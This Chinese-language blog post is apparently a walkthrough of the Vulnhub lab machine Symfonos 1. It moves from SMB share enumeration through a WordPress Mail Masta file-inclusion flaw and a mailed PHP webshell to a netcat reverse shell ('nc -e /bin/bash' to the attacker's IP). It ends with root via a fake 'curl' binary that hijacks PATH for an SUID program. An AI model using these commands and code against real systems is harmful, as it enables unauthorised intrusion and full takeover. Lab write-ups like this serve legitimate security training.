zoukankan      html  css  js  c++  java
  • Vulnhub-靶机-SYMFONOS: 1

    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现

    地址:https://www.vulnhub.com/entry/symfonos-1,322/

    使用nmap扫描 nmap -n -p- -sC -sV 192.168.56.106 -o symfonos1.nmap

    根据扫描结果发现开放了smb服务模块,那我们使用下面命令进行枚举扫描下

    enum4linux -a -o 192.168.56.106 | tee 192.168.56.106.smb

    最终的结果会保存在文件192.168.56.106.smb 根据枚举的结果得知两个可以利用的共享文件夹,分别为anonymous和helios

    既然知道了共享文件夹,那么在kali环境下使用命令smbclient去访问看看

    smbclient -L //192.168.56.106  列举目标的共享文件夹

    连接匿名的文件夹anonymous

    smbclient //192.168.56.106/anonymous  此处密码为空使用命令enum4linux枚举出来的结果也有体现

    查看文件attention.txt得知文件内容存在如下信息

    根据上述信息可以知道有一个文件夹存在密码,这密码就有可能是上述提示的3个密码中的一个,所以这里尝试访问另一个文件夹helios,使用上面的3个密码去尝试,最终确认密码是qwerty

    smbclient //192.168.56.106/helios -U helios

    共享文件夹helios有两个文件,查看这两个文件得到如下结果:

    最终得到web目录中含有/h3l105 我们尝试访问目标web应用

    点击访问里面的url发现会跳转至一个域名symfonos.local ,鼠标放在上图标注的位置在浏览器的左下角也能看到跳转的域名,那么我们本地绑定hosts

    绑定好之后看到目标web页面的最底下Log in跳转页面是wordpress的登录界面,看主题显示信息也觉得是wordpress,逐尝试使用wpscan进行扫描下,看是否存在漏洞

    wpscan --url http://symfonos.local/h3l105/

    因为本地kali没有注册WPVulnDB 的API,所以无法使用wpscan扫描出对于的漏洞信息,不过我看了下互联网的演示资料提示得知存在LFI漏洞,可以读文件,执行php文件

    https://www.exploit-db.com/exploits/40290

    https://cxsecurity.com/issue/WLB-2016080220

    https://wpvulndb.com/vulnerabilities/8609

    LFI漏洞复现

    漏洞利用成功,那么可以反弹shell,同时根据上述的结果可以知道目标靶机存在用户helios,现在就是写文件,通过文件包含拿shell,因为刚开始的时候我们使用nmap扫描出来有25端口,有邮件服务器,尝试利用此邮件服务器给用户helios写一封一句话小马shell,具体如下:

    上述操作成功之后,尝试文件包含看看,是否执行成功

     发现执行成功,然后确认是否存在nc命令,通过执行which nc 确认存在此命令,尝试使用nc反弹shell ,执行如下命令:

    http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&bmfx=nc -e /bin/bash 192.168.56.101 8833

    本地kali监听8833端口,成功反弹shell

    拿到反弹shell开始提权看看,使用如下命令查找目标靶机哪些命令存在suid权限

    find / -perm -4000 2>/dev/null

    最终查到可执行文件/opt/statuscheck 在执行的过程中调用了curl命令,这里可以通过劫持curl命令来达到提权的目的,具体详细跟环境变量提权的信息请查看:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

    我这里提权就直接使用提权的代码编译一个名称为curl的命令进行提权,具体代码如下:

    int main(void) {
            setgid(0); setuid(0);
            execl("/bin/sh","sh",0);
    }

    将上述代码保存为curl.c 然后使用gcc编译器进行编译

    在tmp目录下生成好curl命令,那么我们加下全局环境变量

    执行/opt/statuscheck 成功提权为root权限

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    在navgationController中添加UISegmentedControl
    Static Const
    .pch头文件的添加
    数据库设计一对一多对多
    数据库链接
    File增删改查
    线程
    售票情景解读synchronized和Lock两种锁的区别
    [Spring Boot]使用自定义注解统一请求返回值
    JAVA希尔排序代码
  • 原文地址:https://www.cnblogs.com/autopwn/p/13680125.html
Copyright © 2011-2022 走看看